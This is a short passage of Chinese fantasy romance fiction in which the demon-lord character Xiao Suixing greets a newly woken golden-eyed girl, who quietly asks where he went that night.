月色清冷,映在白衣少女身上,像冰凉的水。 萧随星呼吸一窒,很快又面色如常,他主动凑上前去,笑眯眯地说:“终于醒了?我还以为你会睡到明天呢。” 他笑起来很好看,像猫咪一样可爱又狡黠,一点不像杀人如麻的魔头。 可是小仙女没有笑。 她只是望着他,用那双澄金色的眼眸一眨不眨地望着他。 良久,她轻声道:“小星,你今晚去哪儿了?”